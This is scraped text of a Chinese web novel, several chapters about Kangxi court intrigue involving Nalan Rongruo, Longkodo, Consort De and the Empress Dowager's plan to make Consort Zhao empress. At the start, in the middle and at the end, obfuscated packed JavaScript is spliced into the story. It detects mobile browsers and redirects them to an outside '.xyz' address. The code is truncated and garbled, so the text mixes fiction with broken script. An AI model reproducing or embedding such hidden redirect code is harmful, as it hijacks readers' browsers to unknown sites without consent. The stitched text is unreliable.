;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599158|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纳兰皱眉道:“佟佳侍卫,你姐姐景茵珠跟康熙皇帝可是表兄妹,因为你的阿玛佟国维是康熙皇帝的生母孝康章皇后的亲弟弟,这桩姻缘怎……就有些微妙啊?” “当初我也是这么跟阿玛说的,阿玛为了晋升官位昏了头,什么话都没听进去,甚至还害了我……要不是阿玛步步算计,我也不至于跟德嫔……” 隆科多说不下去,只把脑袋低垂。 要是索额图的次子格尔芬在,定会说出这么一番话来: “佟佳侍卫,你真是不忠不孝!说什么自己是父权皇权之下的牺牲品?你要是管得住自己,能瞒着康熙皇帝跟德嫔搞出这么一段风流韵事来吗?是你害了家族和德嫔才对。” 纳兰道:“还好如今没有传出德嫔有喜的消息,否则事情败露,你和德嫔都是死罪。” 隆科多悔恨道:“我听到风声了,太皇太后加派了人手严查此事,那夜幸好是我跟德嫔跑的快,否则就是被抓个现行,罪实了史册。” 纳兰提议道:“如今佟佳侍卫你是不能再去自己当差的御花园附近走动了,倒不如跟别人换个班,驻守毓庆宫。你阿玛不是曾任领侍卫内大臣吗?换差之事不难。” 隆科多摇头,“不成啊,毓庆宫工地周全遍布索党眼线,万一我有所闪失,就真的是万劫不复了。” 纳兰一惊,才知道索额图已经早有行动,明珠却还不知道。 隆科多又道:“我可不是什么负心汉,爱上德嫔就是真的愿意终身不娶、掏出心肺来好好待她,护她在后宫一世周全。” 纳兰一想,隆科多这话当真是信不得: 一个把自己跟康熙皇帝的妃子私交之事轻易拿出来告知外人的侍卫,谈何与德嫔有真情?无非是吊着德嫔的一颗心,观看日后是否对自己有用罢了。 即便是太皇太后查出了真相来,隆科多为了自保,定是不会顾及德嫔半分,德嫔这一腔错付了的真情,怕是只有日后她肚子里的孩子能解。 也许将来,隆科多会死在德嫔的儿子手里也未可知。 归于史册,对隆科多感情之事的记载,也不甚光彩: ——重小妾李氏而轻原配赫舍里氏,导致正妻死于小妾的恶性之下,却不以小妾的行径为恶、正妻的冤死为惨,隆科多之狠戾甚矣! ——与帝妃德嫔相染,后匡扶其子皇四子胤禛,反目于匡扶八皇子胤禩的佟国维,隆科多之反复无常多矣,父亦呛然。 * 本着不得罪康熙皇帝也不得罪佟佳氏一族的心态,纳兰对隆科多道: “佟佳侍卫,当年皇上处死吴应熊,你阿玛佟国维是在背后大力相助的,所以皇上才愿意看在你阿玛的份上提拔你进宫当带刀侍卫。” “为了家族也好,避开太皇太后的严查也罢,你不如主动向皇上请战远方,暂时远离皇宫之中的是非之地。” 隆科多连着点头带拍大腿:“纳兰公子慧策,慧策啊……!” 纳兰道:“眼下有三处可去,第一是西南、第二是北境偏地、第三是台岛,佟佳侍卫你可想好要去哪儿‘抛情报国’了?” 隆科多毫不犹豫道:“那三处我都不能去,吴三桂、沙俄红毛军、郑氏集团……哪是我有本事面对的?我打算跑遍北蒙古,替皇上侦查噶尔丹敌情和辨明一切有利于我清军进攻的因素:地形、气候、军备、粮草。” “如此就是佟佳氏一族之幸啊!”纳兰道,“佟佳侍卫,预祝你这一征程万事如意、风雨无阻。” “多亏了公子妙言,才能解我当下之危。”隆科多向纳兰行了一谢礼,“日后若是机会,我必对公子今日之恩涌泉相报。” 纳兰雅笑道:“不必客气,助人就是助己,何乐不为?” * 又是过了三日。 明索两党惊闻“带刀侍卫隆科多前往北蒙古勘查”一事,皆是在意同朝为官的佟国维在打什么主意。 而在后宫之中,也传出了“茂贵人自尽”的消息,更是触怒了孝庄。 孝庄终于将“有侍卫与后宫女子私会”的要事向玄烨做了细说。 玄烨心中虽是恼火,换了谁也容不下自己被娶了的女人背叛,但却装作看得开的样子回应道:“幸好只是私会而不是私通,否则这桩康熙朝的丑闻,真是给朕脸上抹黑!” “茂贵人已死,侍卫却未抓到,”孝庄问,“皇上的意思是接着查,还是就此作罢?” “那自然是要查明。”玄烨斩钉截铁,“按照宫规该怎么处置就怎么处置。” “近来皇上去德嫔那里去的多,也要兼顾着别的嫔妃才是。”孝庄提醒,“后宫的女子是既想着自己又看着别人的,皇上不要因为自己的主观行为而让嫔妃生了不正之心。” “朕也说不清楚,纯粹就是想翻德嫔的牌子,就好像她才是最值得宠的女子一样。” “皇上可是因为德嫔背后的家族远不如赫舍里氏、纳兰氏、佟佳氏、马佳氏一族影响力大,所以才将自己在德嫔面前放下的戒备错当成了可以无限付出的爱?” “皇阿奶言之有理,朕应当好好反省。” 孝庄看了身边的苏麻喇姑一眼,苏嬷嬷立刻道:“皇上,接下来又到了选秀之日,也该有所准备、挑几个可心的女子充盈后宫才好。” “后宫的嫔妃人数渐渐增增,总归是变动不大。朕……” 一想到之前挑选秀女,还有赫舍里皇后陪在身边,如今却是只有自己和太皇太后,他不禁颤了颤眼帘,悲从中来。 孝庄体察出了皇孙的情绪,劝道:“大清皇室有大清皇室的规矩,等到先皇后的孝期过了,皇上还是要从出众的嫔妃当中挑选出大清国母来的。这些,就等时日合适之时咱们祖孙之间再聊吧。” “是。”玄烨应道,“孙儿听从皇阿奶教诲。” 146.第146章 明府。 晚膳后,明珠一家人坐在渌水亭长廊的石桌边听风赏夜合花。 容若问:“阿玛额娘,你们可还记得:佟国维有个女儿名叫景茵珠。” 明珠和觉罗氏相互看了一眼,然后点头道:“记得,怎么了?” “儿去侍卫营找格尔芬之际,恰好是遇见了佟国维的儿子隆科多,听隆科多说:自己被父亲佟国维安排当侍卫和行走御花园附近的差事的原因,竟然是接触德嫔和从德嫔身上探寻盛宠之道,好传授给姐姐景茵珠、让景茵珠在日后好好讨皇上的欢心。” “竟然有这种事?”明珠眉头紧锁,“佟国维还真不是个善茬!” “儿不爱在背后议论他人是非,所以不提隆科多和德嫔之间的情事。” 容若淡饮一口清茶,继续道: “关键是景茵珠一旦成为这批秀女当中的佼佼者,朝中的势力范围会变成什么样?阿玛您跟索额图,想必都不想看到佟佳氏把持朝纲和景茵珠宠冠后宫的局面吧?得尽早行动——” 明珠一拍额头,如梦初醒。 这日后康熙朝要是变成了“佟半朝”,那还了得? “阿玛您自己要拿好接下来的主意,佟佳氏这是要把女儿往皇上身边送,抱着让她成为新任皇后的目的。一来索额图成了皇太子的叔姥爷,二来佟佳氏后来者居上,咱们不得不防着。” 觉罗氏亦是同感:“老爷,既然咱们儿子都这么说了,您可真得想清楚啊!” 明珠问:“儿啊,隆科多把这些告诉你,不会是另有陷阱吧?” “嗯。儿开始也是这么想,只怕这一切都是佟佳氏父子的布局,但真的请命去了北蒙古,儿就明白了:隆科多跟佟国维之间,存在着父子嫌隙,这是成就高位的大忌。” “有道理,比起佟国维,隆科多更愿意信任给他指了明路的你,可见他们父子不和已久,只是平日里装作父子同心给外人看罢了。”明珠刮着玉扳指,盘算着,“没准以后,这对父子会分行两派:各自对未来的储君押宝。” “老爷,储君不是已经定下来了吗?”觉罗氏不解,“是前皇后的嫡子二阿哥胤礽。” “皇上不过二十来岁,年轻着呢!”明珠一摆手,“将来的事情,谁会从康熙皇帝手里接过江山,说不准的。” 觉罗氏问:“容若,你这回帮了隆科多一把,有几分把握此举没有走错?” 容若递了一块切好的秋橙给额娘,道:“儿看隆科多此人,锱铢必较,恩怨分明,口中有爱而心中无爱,只可适当交之。所以儿不求被他记恩,只求日后他不害。” 明珠十指相扣,“你说隆科多去北蒙古,会不会带着反心?” “隆科多的野心必定是有,但是到什么程度儿也难说。至于反心,只能肯定这个年纪和这个阶段,他反不动。” 明珠摇着头,“那隆科多撇下了一身大罪,他是自在轻松了,太皇太后那边还能查出什么真相来?” “阿玛忘了?后宫的是非黑白什么时候真正分明过?查不出来,就必定有个替罪羊;查出来了,也未必是真。太皇太后伤神之余,就只能由皇上去自行解决此事。凭借儿对皇上的了解,结果无非是:都怪罪在茂贵人身上,把所谓的私会之人归因为假扮侍卫的男子,揪出一个踩了霉运的‘犯错工匠’来处死罢了。” 明珠拉过容若的手,真挚道:“阿玛唯独希望你这次的帮隆科多,日后会有好报。” “谢阿玛。”容若微笑,“儿也希望阿玛接下来的行动步步为营。” * 容若看望过侧夫人颜氏和跟颜氏道了“晚别”之后,就回到了卢氏正夫人的房中。 见卢氏在卸妆,容若走近妆镜前,道:“青丝似瀑,爱意缠绵。” 卢氏看着镜中的夫君面容,莞尔道:“有君之言,恰是悦己。” 容若知卢氏是个有包容心的女子,不会介意他在她面前提及别的女人,所以将心事相告。 “佟佳氏一族中的出挑女子景茵竹,明年三月定是会通过选秀去到康熙皇帝身边,我有预感,她虽是背负着家族的期望和责任,但会是后宫之中的赢家,甚至能够登上皇后之位。” “公子可是担心惠妃娘娘?” “是啊,惠妃毕竟入宫早,年龄和容貌终究是会被新人们比下去的。皇上心思多变,这半年可以宠德嫔,等明年他一样可以宠别的新花,这就不得不苦了陪伴皇上久了的嫔妃。” “可是朝纲之中已有明索两党,”卢氏问,“佟国维真的能够借此达到三足鼎立之势吗?若是,公子对隆科多出个歪策、断了佟佳氏一族的道路,岂非更妥?” “我了解皇上。” 每每说出这五个字,容若心中就是滋味万千。 “皇上他不打压明索两党,只因阿玛和索额图对朝廷还有用。一旦皇上下了决心要把明珠和索额图扳倒,那也不是凭借旧情就能阻止的,所以皇上也需要一个后盾呐,这个后盾就是佟国维的佟佳氏一族。” “我帮隆科多,不是我不明智、不知道日后的‘佟半朝’会对明党造成的威胁,而是我即便是让隆科多栽倒了、也影响不到佟国维什么。佟国维又不依靠或是仰仗儿子来给自己的仕途增光添彩,反之,他将隆科多视为可有可无的棋子而非亲儿子也未可知。” 卢氏一边为夫君解衣一边道:“家、国、情三个字最是扰人,公子要顾着纳兰家、大清朝和身在后宫的表妹,所以有所忧心。” “阿玛那边我倒是劝了策。”容若披上睡衣,“真没想到当下就是多事之秋,太皇太后和皇上即便是相对一些不守规矩的人秋后算账,怕也是只能把眼睛半睁半闭。” “尔谖原本以为‘酌情’二字不适用于皇家,但方才从公子的话听来,却是觉得老祖宗和康熙皇帝也存着人情味。” “上边的人有人情味不等于下边的人就抱了免死金牌,康熙朝留下的弊病,还得是下一朝的皇帝来挽解。” 夫妻一起熄了数盏灯后,上了床铺,合被而坐。 唯有近侧的一立高烛,火苗静静地透过纱帐落在帐中鸳鸯的脸上,促暖温情。 * 中秋节前夕。 容若托远黛把自己的一卷词和一卷画带给了表妹纳兰惠儿。 远黛办事一向稳妥,她把东西带到且送入惠妃手中后,道:“容若公子是念着娘娘的。” 惠妃缓缓展开画轴,道:“以前中秋节前夕,后宫的姐妹们最盼着的就是月圆情圆,现在大家却是小心翼翼,就怕说错话和惹来是非。这倒不是皇上的不是,而是姐妹们思君心切,才不知不觉忘记了规矩罢了。” 远黛看向画轴,上面话有一只景泰蓝的花瓶,与秋季不同的茵茵芳草,以及湖面的点点珠光。 “娘娘,这画一点不似容若公子的风格。要不是奴才亲自从容若公子手里拿的,还以为是被谁调包了呢。” “这画包含了一个女子的名字,是佟国维的女儿:景茵珠。以前选秀的事是先皇后管,现在以本宫为首,荣妃和宜妃两位妹妹协管,本宫看过秀女名册,所以记下了那个名字。” “娘娘以为,这画是何意?” “表兄大抵是想告诉本宫:景茵珠一旦进入后宫,恩宠或将胜过德嫔,好让我心里有个底。如此本宫也明白了,隆科多接触德嫔,不过是表里不一,口蜜腹剑地为自己的妹妹筹谋将来罢了,此障眼法果真是狠绝,把太皇太后和本宫都骗了。” “幸好娘娘未向太皇太后揭发佟佳侍卫和德嫔娘娘的事,否则牵动了朝野,就更难收拾了。” “在后宫,看在眼里的东西远远没有藏在背后的心机复杂。”惠妃把画轴重新卷起,“诸多事,本宫都选择忌口,为的就是免去由家事而起的国事争端。” 远黛仔细把画轴收进秘盒里,加了双锁锁好,放进宫柱的暗层里,才回到主子身边。 “娘娘,您可知道佟佳·景茵珠是什么来头?” “她的家族从正蓝旗被皇上开恩抬入镶黄旗,可见皇上重视佟国维的能力和势力;她的三弟隆科多年纪轻轻就进宫当差、且是允许带佩刀的侍卫,可见皇上对隆科多既是考验又是信任。而景茵珠本人,本宫从秀女名册上看,倒也被她额娘调教的不错:容姿端丽,通晓满蒙汉三语,能够骑射与弹琵琶。” “琵琶?”远黛问,“为何是这种乐器?” “凤栖梧桐,琵琶半遮面。”惠妃平静道,“她额娘对她的姻缘的美好期待罢了。” “凤?”远黛敏感地觉察出了端倪,“莫非佟国维和隆科多父子……想要景茵珠在后宫坐上凤位、掌管凤印?” “你没说错,就是这么回事。”惠妃眨眼以作肯定,“表兄想向我传递的,正是这点。” “娘娘,想必容若公子和明珠大人那边已经有所筹谋,我们应该如何做?” “先皇后赫舍里氏仙去之后,太皇太后单独把先皇后的八只‘黄金凤璇宝珠珠钗’给了遏必隆之女昭妃钮祜禄氏,本宫琢磨着,难不成太皇太后的意思,”惠妃停顿许久,“是想立昭妃为第二任皇后?” 远黛小声道:“可是昭妃入宫时间并不长久,表现也并不出众,怎能坐上大清国母的凤位?” “你想想看看,”惠妃慢慢分析,“貌不出众,性子温和,才华适中的女子,不是正宜接继中宫吗?换做是太聪明、太了解皇上、太能看清他人面目的人,反而在后位上坐立难安:谨慎自己且提防别人,处事周全却自吞苦果,不是太皇太后想看到的。” “娘娘,您就没想过——” 当皇后。远黛的意思是这个。 “你还记得吗?容若表兄病重的时候,本宫曾悄悄出宫去看他。当时夜深,有脚步声传来,本宫担心是皇上夜访,正在躲避之际,才发现来者是施道渊施道人。” “是有这回事【注1】,远黛记得。” “施道人神机妙算,所预测之事从未出过差错。他跟本宫说;‘惠嫔娘娘切记,不可近皇后之位。康熙皇帝命根过硬,赫舍里之后,坐上皇后之位者不过两位,一年一日,中宫之主命数,皆是讨悲不讨喜啊!” “娘娘,您深信不疑?” “掌凤印的时间仅短短一年或一日,本宫当时听着就毛骨悚然。”惠妃心中,后怕之感骤起,“你不觉得那两位‘皇后’福薄吗?” “施道人这话要是传入皇上耳中,可是要以‘妄言之罪’杀头的。”远黛小声,“娘娘,您听过且记至今日,的确是:相信比不相信的好。” “是啊,本宫不想成为后宫之巅的女人,只想长命善终。”惠妃缓缓呼出一口气,隔窗看了眼坤宁宫的方向,“本宫且看下一位皇后的命数如何,再说。” 过后,远黛按照惠妃的交待,将“太皇太后心中的次任皇后人选,或许是遏必隆之女昭妃”之预测,做成小卷签托信得过的人——梁九功梁公公暗暗拿给容若公子。 偏是巧合一般,回延禧宫的途中,远黛竟然看见德嫔在假山后面悄悄哭泣。 德嫔只是独自站在那里,不住地用手绢擦眼睛,却没有发出一丝声音。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14611864|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 远黛没有久留,而是加快了回惠妃主子身边去的脚步。 她打算告诉主子: “德嫔至今还念着隆科多,当真是对隆科多的面目一无所知。辜负了康熙皇帝,也自寻了本不该有的烦恼,那些眼泪更是不值得。” * 明府。 夜间,明珠房间。 “阿玛,局势又要变了。” 容若把惠妃亲笔写的小纸条展开,平铺在明珠面前。 “太皇太后竟然有意挑选遏必隆之女昭妃为继后?惠儿的判断能有几分中肯?” 看罢小纸条,明珠单手点击着桌面问道。 “儿只怕……惠妃娘娘的判断,一字不错、一句不偏。” “这——”明珠匆匆将纸条化为灰烬,“这毫无征兆啊!太皇太后要是对皇上有所暗示,你常在皇上身边陪伴,理应比惠儿更早看出才对。” “儿跟皇上聊的多是国事和文章事,极少听皇上谈及后宫。”容若思索着,“昭妃出身显赫,孝顺太皇太后,深爱皇上,就品行而言的确是能够当继后。惠儿在密信里面提到:昭妃主动向太皇太后提请为阿玛遏必隆修家庙,这样一来,八旗亲贵能不团结吗?铁帽子亲王们能不向着皇上吗?” 明珠嗤鼻一哼:“昭妃的心思倒也不单纯。表面看起来单纯、孝顺、与人为善,实际上却是笼络了太皇太后的懿恩。” “还有皇上的嫡母仁宪皇太后,对昭妃也颇为喜欢。权力的快感和局势的安定,皇上注定了是要听太皇太后的话。” “自己的皇后全都让老祖宗来选,你说皇上心里是什么滋味?昭妃本身就不受宠。” “阿玛别用一个‘宠’字来定论任何一个嫔妃的价值。”容若劝道,“嫔妃的价值看的是:出身、家族背景和是否诞下皇嗣,跟这些相比,帝王的恩宠都不足成为任何一个后宫的女人登上皇后宝座的条件。” “不瞒阿玛,儿在心里珍惜惠妃娘娘。”容若明澈道,“接下来后宫的风起云涌,咱们父子要看的透、看的深、看的远,也要叫惠妃娘娘和大阿哥好自处之,才能准确地在时局利弊中当个赢家。” “那佟佳氏一族的风吹草动?”明珠问,“明党还是如旧行使先决之策?” “佟国维急了,所以才把女儿景茵珠送到康熙皇帝身边,明党要是一味地争和比,终将前朝大乱、后宫不宁。”容若琢磨着,“太皇太后心里有新皇后的人选,不动声色地暗中铺路反而是好事,遏必隆之女一旦入主中宫,明党索党甚至是佟国维拉拢的佟半朝能有什么话说?说什么都是对孝庄玄烨祖孙的大不敬。” “是啊!”明珠大悟,“三方势力不至于在立新皇后的斗争之中元气大伤,唯有是侧立昭妃为后。” 明珠用手扇了扇纳兰香,微微闭目一闻。 前路看清了,太皇太后的用意清晰了,他整个人都神清气爽。 “阿玛。”容若叫了一声,“佟国维想要借助后宫之力来构筑的‘佟半朝’起不来,索党不进不退,明党利益无损,已经是最善的结果。” “儿啊,你为明党也好为惠儿也罢,总归是懂得这些利益链条上的人的心思。本官时常在想:康熙皇帝到底有几多感情?他对赫舍里先皇后的爱是否真的深挚,深挚到超越‘帝后’之名份而似‘夫妻’之寻常?他真的需要再立皇后吗?坤宁宫是否空着比有新主住进去好?” “要是皇上的女人身上都没有各自要背负的东西,一定人人都能够活的更自在些。坤宁坤宁,皇天后土、申旦达夕、人丁兴旺之寓意,本就不属于中宫之主一人。所以福祸相依、此消彼长罢了,想要帝后永久永好、一生一世,求不来的。” “说出来别人不信,后世之辈也不信,我明珠送纳兰惠儿进宫为妃,从未想过要她成为国母。不全在于纳兰家知道轻重,而是有太皇太后在,国母之位只是一个摆设,不如‘老祖宗’三个字有份量和话语权。” “惠妃娘娘能够明白阿玛您的深意,儿亦觉得万幸与欣慰。” “时候不早了,容若你回房安置去吧!” “是。儿告退。” * 容若独坐院内。 抬头仰望,秋夜的星空依旧璀璨,只是寥落在银汉之中的人事纷繁,早已数不清。 卢氏拿了件单衣过来,为夫君披上,闻声道:“公子,晚来露寒霜浓,不如回房靠窗温着暖花茶来看月华星辰的好。” 容若心中一阵感动,便起身携了卢氏的手往回走。 “凭窗外看,水平瞧见的是眼前景,熟悉如常;翘首看见的是天上仙,寻思所往。但是坐在院中亭中,少了墙的束缚,倒是生出几分洒落心情来,能叫人淡泊。” “公子坐在养心殿外的菩提树下时,也是如此感受吗?” “不一样。比起在菩提树下面坐着参禅或是跟皇上说话,我觉得还是独自捡拾菩提子的好——既是融合心中的有形贪垢,也是消除身外的无名杂念。” “尔谖喜欢公子怡然自得的模样。” “在你身边,我恰是如此。” 睡前,容若做《踏仙桥·月夜》一首: 也道今夜,披衣酥手暖香,真个人儿,广寒深处银镜镶。蓬莱仙趣,笑语谈间,罗带销魂金帐。 梦里同系归舟,已往却,暮霭纷纷数青嶂。红烛泪尽醒来时,犹忆携手处,云月弄星,销凝芬芳。 【注1】施道渊给容若锦囊,见第96章;给惠嫔预测“康熙朝皇后后位,万万不可近”之事,见第95章、第96章。 147.第147章 一日,纳兰容若被太皇太后托苏嬷嬷请到了慈宁宫。 纳兰寻思着老祖宗是要问关于颜氏侧夫人产期之事,不料却不是。 纳兰给给孝庄请了礼之后,就照着孝庄的吩咐到她身边坐下,甚至被特许在无外人之时称老祖宗为:皇祖奶奶。 纳兰自然是不敢逾越了规矩,依旧是亲分地叫孝庄为:“老祖宗。” 孝庄平和道:“年后皇上要进行新一轮选秀,新人进去了,旧人自然是多少有些不乐意的,所以老祖宗我就决定:等到赫舍里皇后的孝期满了以后,就给大清立一位新皇后。” 纳兰道:“老祖说的是,中宫之位不可久缺,应当有新主再掌后玺。老祖宗心中为皇上挑了谁?” 见纳兰这么问,孝庄便安心了不少。 “挑了谁”和“想挑谁”是完全不同的概念,纳兰契合了太皇太后的意愿。 “我看遏必隆之女昭妃不错。”孝庄微笑道,“平日里守规矩,对我、对皇上的嫡母都孝顺,最关键的是:昭妃不似别人,她阿玛遏必隆已经去了,她不必再背负族人的愿景,可以好好做自己。” “是,不活在压力当中和知道自己的活法,这两点最是难得。”纳兰点头,“老祖宗的眼光一向中肯。” “兴许在外头看来昭妃并不得宠,但是我在深宫里住的久了,就明白‘得宠’和‘恩宠’是两回事。一个妃子,被皇上看中且多得皇上临幸,那是‘得宠’无错;反之,皇上去瞧她的次数不多,但是每次都能尽兴而归,便是‘恩宠’于她。得宠者不长久,恩宠者福气大,你说是不是这个理儿?” “老祖宗您是看的最透彻的。”纳兰道,“立新皇后,需要的不是最得宠、最能干、最无可挑剔的女子,而是恩宠偶得却胜于盛宠、平凡是真胜于锋芒毕露、温婉柔顺胜于明丽动人的昭妃。” 孝庄拿了块藕粉桂花糕到纳兰盘中,道:“孩子,老祖宗我想来想去,这立昭妃为新皇后的事,还是得你去跟皇上先提前打个招呼。” 纳兰谢过孝庄,道:“是,老祖宗交待就是。” “如今遏必隆已经死去多年,皇上要是立他的女儿为皇后,反倒是可以彰显出他对老臣的恩恤,有利团结一切可以团结的力量来再战三藩。” “纳兰明白,会把老祖宗的苦心和立后所牵涉的层层关系都说给皇上听。” “皇上八岁登基至今,也算是仁孝勤敏,让大清变得比前三代先帝在位时都好。我这个皇祖母做这个主,皇上肯定是有微词,毕竟遏必隆作为托孤大臣之一,立场摇摆,不得皇上信任。但是没办法啊,老臣有老臣的份量,不管生前死后那份影响力就搁在那里,只能为我所用。” “昭妃识大体,只要老祖宗您细心调教,她必定能够做一位对大清有利的皇后。” “孩子,你能够与我同心、同心为了皇上和大清国好,何尝不是康熙朝后宫的福气?” “是太皇太后的鸿福保佑着,容若和皇上,以及大清后宫才是岁岁平安。” 孝庄留了纳兰下来吃午膳。 满桌的素膳中,纳兰觉得三鲜素饺子好吃,还有就是跟胡萝卜丝和花菇丁一起炒的玉米笋,也特别鲜嫩美味。 孝庄终于向纳兰问起了家事:“你的侧夫人颜氏,近来一切可都好?” “谢老祖宗关心,袖云得了老祖宗的赏赐,惜取来之不易的福分,一切安泰。宫中的御医作诊之后,预估的产期是明年春天,等到富格降临人世,容若一定亲自入宫给老祖宗报喜。” “纳兰,说心里话,你对皇上对你的长子的命名可算是愿意接纳?” “富格二字,有对纳兰家家训家风的警戒之意,也有包含着对容若的长子成长的愿景,容若和阿玛都已经把皇上的赐名当作是颜氏长子的实名了。” “要是颜氏诞下女儿呢?” “那容若要好好斟酌。” 孝庄笑道:“你这个阿玛处处仔细,儿女们都是有福气的。” 纳兰礼貌道:“多子多福,容若跟皇上、太皇太后同盼。” * 午后。 纳兰来到养心殿等待康熙皇帝。 玄烨到来后,问纳兰有什么事? 纳兰回应的也直接,是关于册立遏必隆之女昭妃为新皇后之事。 玄烨以为侧臣在开玩笑,便应道:“这事不急,新皇后的人选朕会跟皇阿奶商量着来办。” 纳兰正色道:“皇上,这正是太皇太后的意思。今日的纳兰,只是一个说客。” “那个昭妃有什么好?”玄烨冷问,“朕问你你也不知道,你只会一味地按照皇阿奶的意思来办事。” “回皇上,您跟昭妃之间感情好不好,臣无从说起。但是昭妃的家国之好有三:第一,团结王公大臣一致对敌;第二,稳定朝中各方派阀人心;第三,让太皇太后少操心,安稳后宫。” “你少在朕面前分析的头头是道!”玄烨显得厌烦,“皇阿奶一再干涉朕的大婚,你就没有为朕考虑过那种憋屈的感受吗?” “臣正是因为深深考虑过,所以才劝皇上仔细考虑太皇太后的意思。” “朕即便是要靠王公大臣们的支持才能坐稳皇位,也想挑个自己真正喜欢的女子来当皇后。更何况朕的结发妻赫舍里才仙去不久,朕十分怀念,并无立后之心。” “立皇后,凭的不是皇上喜不喜欢。”纳兰谏言道,“而是立谁能够对皇权巩固有好处、对皇上大志的实现有帮助、对后宫的平稳安好有推力。” 玄烨冷讽:“你如今跟卢氏恩爱,接下来是不是要拿自己的感情经历出来,告诉朕如何把一个原本不喜欢的女子,变成夜夜鸳鸯同梦的真爱啊?” “臣不敢。”纳兰直言,“自古以来,按照自己的喜好立皇后的君主,下场都未太好,恳请皇上以史为鉴,顾全大局,将册立新皇后之事——视为国家大事,而非单纯家事来考虑。” “这倒是条真理,怪不得阿巴亥、海兰珠、董鄂妃在生前都没有当成皇后,看来列祖列宗比朕圣明。但是朕跟列祖列宗不同,因为朕心里没有爱的死去活来的女人,只有追思的深不可出的旧爱,那个人就是朕的赫舍里皇后。” 顾总管小心翼翼地提醒:“万岁爷,是先皇后。” “你放肆!”玄烨一喝,“赫舍里还好好地活在朕心里,朕去牌位供庙里看她陪她说话,她每一句都听着、还回应了朕。” “万岁爷,您这可使不得。”顾总管只感觉毛骨悚然,“这等怪力乱神之事,奴才和纳兰公子听过就罢了,万一传到朝纲、传到后宫,人言可畏呐!” “朕没有下令将赫舍里皇……先皇后的画像,挂在修好后的毓庆宫皇太子的房间内,让其日见瞻思生母,渐孝渐长,勤勉用功,已是清醒让步。” 玄烨一甩手,“立新皇后之事,朕实在是不想遵照皇阿奶的主张——” 纳兰耐心道:“皇上,您要是听从太皇太后的话,亲族后宫皆大欢喜;要是一意孤行纵己所欲,则朝纲不稳臣心堪忧。请皇上慎思遵行太皇太后懿意。” “朕一旦同意,不就等于接下来就要多宠昭妃吗?” “皇上去昭妃宫里去的少,不等于昭妃没有优点,彼此相处的多了,感情自然就深。到时候昭妃封后大典水到渠成,皇上必定是龙颜大悦,六宫也是谐和相祝。” “罢了。皇后不过是后宫里象征着最高权力的摆设摆了,什么母仪天下、雍容华贵、温良贤淑,全是坐上了后位的女子硬往自己身上压的石头。朕看得出来,皇后后位跟皇帝宝座一样,坐上容易坐稳难。” “皇上要是这么说,爱新觉罗的列祖列宗会怎么想?”纳兰一叹,“太祖爷十三副铠甲起兵,太宗皇帝联姻蒙古巩固大金,顺治皇帝迁都北京,谁人没有危机感?谁人是‘容易’坐上去的?” 顾问行小声道:“公子,相比较三位历尽万难登位的先帝,咱们万岁爷出过痘,确实是……最轻松坐上皇位的了。” 玄烨瞪了顾总管一眼,心生愧疚: 自身相比较于列祖列宗,的确是言过其实了,有失体统。 自己好似莫名其妙地栽进了纳兰的话术陷阱里,想要跳出,唯一的办法就是—— 确定出“比三位先帝的皇后都稳妥的人”来当大清康熙朝的继后,以保留住自尊和颜面。 “好!”玄烨龙威一振,“立遏必隆之女昭妃为新皇后,册封之礼待朕跟太皇太后协商过后,再交给礼部去办。” 顾问行伏地磕头,激动道:“万岁爷,您能顺着太皇太后的意思把立后之事确定下来,便是让许多人少了一份挂心,奴才觉得,是咱们大清之幸啊!” “朕是个明君,明君有明君的处事之道。”玄烨挺胸背手,仰着头,“朕的继后,能够起到她所能起的作用就好,其它的,朕不多做强求。” 顾问行大声:“万岁爷圣明。” “朕,现在去景仁宫看看昭妃。”玄烨决意,“纳兰你跪安吧!” “是,臣告退。” “等等,你亲自去慈宁宫给太皇太后回话。就说朕以大清为重、天下苍生为念,决意立昭妃为中宫新主。” “是。”纳兰对康熙皇帝了解的清楚,“臣会把皇上意气和抱负、心志和抉择,全都明明白白地跟老祖宗说。” “还有,你跟太皇太后说,今夜朕和昭妃一并到慈宁宫去请安、共用晚膳。” 纳兰应第三声:“是。” 然后补充道:“臣还会一并向老祖宗说:皇上心里一直有昭妃,这次帝妃一同去慈宁宫,是臣的主意。” ——不是皇上借此讨老祖宗欢心。 ——也不是昭妃借此增加好感度。 玄烨一笑。 ——果然,最懂朕的心思的人,是纳兰性德。 * 此时的佟国维,并不知晓孝庄的“立后意思”。 他的心思,仍旧扑在女儿景茵珠的“皇后之路”上面。 朝堂之外,佟国维跟明珠、索额图坐在一处雅室内饮酒,把盏言笑。 此三人,就像三只老狐狸一般,彼此猜测心事心机,言语和脸色之上,却如知交好友,和和气气。 “佟大人大喜啊!”明珠一脸堆笑,“明年景茵珠入宫为妃,定是光耀佟佳氏一族的门第,深得圣心。又有隆科多主动到北蒙古去勘查敌情报国,立功晋升指日可待!你这个当阿玛的,喜事连连。” 佟国维春风得意,声似惠风过柳:“明珠大人同喜同喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 